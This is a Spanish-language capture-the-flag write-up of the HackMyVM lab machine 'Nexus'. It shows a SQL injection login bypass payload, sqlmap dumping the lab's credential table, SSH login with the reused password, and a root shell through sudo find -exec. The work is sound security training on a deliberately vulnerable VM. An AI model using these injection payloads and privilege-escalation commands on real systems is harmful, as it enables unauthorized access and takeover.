cd ~/blog

~/writeups/hmv/130-nexus.md

130 - Nexus

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
SQL Injection con Authentication Bypass y Credential DisclosureCredential Reuse desde el panel web hacia SSHSudo-Allowed Program Abuse mediante find -exec
hackmyvm.eu/machines/machine.php?vm=Nexus

~1 min de lectura


Enumeración de servicios

El objetivo expone únicamente SSH y HTTP. Como aún no tenemos credenciales para SSH, la aplicación web es el punto de entrada inicial:

❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.14
...
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
...

Enumeración web

La enumeración conduce a /index2.php, que revela la ruta de un panel de autorización:

NEXUS MSG> _ AUTHORIZATION PANEL :: http://[personal ip]/auth-login.php

Explotación de la inyección SQL

El formulario concatena la entrada del usuario en una consulta SQL. El valor admin' or 1=1-- - cierra la cadena, añade una condición siempre verdadera y comenta el resto de la consulta, lo que permite omitir la autenticación.

Confirmada la SQL Injection, usamos SQLmap sobre los formularios detectados para enumerar y volcar la tabla de credenciales:

❯ sqlmap -u "http://192.168.1.14/auth-login.php" --forms --crawl=1 --dump
...
+----+--------------------+----------+
| id | password           | username |
+----+--------------------+----------+
| 1  | F4ckTh3F4k3H4ck3r5 | shelly   |
| 2  | cambiame08         | admin    |
+----+--------------------+----------+
...

Acceso inicial mediante SSH

Probamos las credenciales recuperadas en el segundo servicio expuesto. shelly:F4ckTh3F4k3H4ck3r5 funciona por SSH:

❯ ssh shelly@192.168.1.14
...
shelly@192.168.1.14's password: F4ckTh3F4k3H4ck3r5
...
shelly@NexusLabCTF:~$

La sesión permite recuperar la primera flag. A continuación, sudo -l muestra que shelly puede ejecutar /usr/bin/find como cualquier usuario sin contraseña:

shelly@NexusLabCTF:~$ sudo -l
...
User shelly may run the following commands on NexusLabCTF:
    (ALL) NOPASSWD: /usr/bin/find

Escalada de privilegios mediante find

La opción -exec de find ejecuta un comando por cada resultado. Este Sudo-Allowed Program Abuse hace que el comando herede los privilegios de root porque toda la utilidad se inicia mediante sudo; -quit detiene la búsqueda después de crear la primera shell:

shelly@NexusLabCTF:~$ sudo find . -exec /bin/bash \; -quit
root@NexusLabCTF:/home/shelly#

La flag de root está incrustada en una imagen dentro de /root/Sion-Code. Como la shell no dispone de entorno gráfico, usamos strings para extraer las secuencias de caracteres imprimibles del archivo:

root@NexusLabCTF:~/Sion-Code# strings use-fim-to-root.png
...
;HMV-FLAG[[ ************* ]]
...

La cadena resultante contiene la flag final. La recuperamos y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados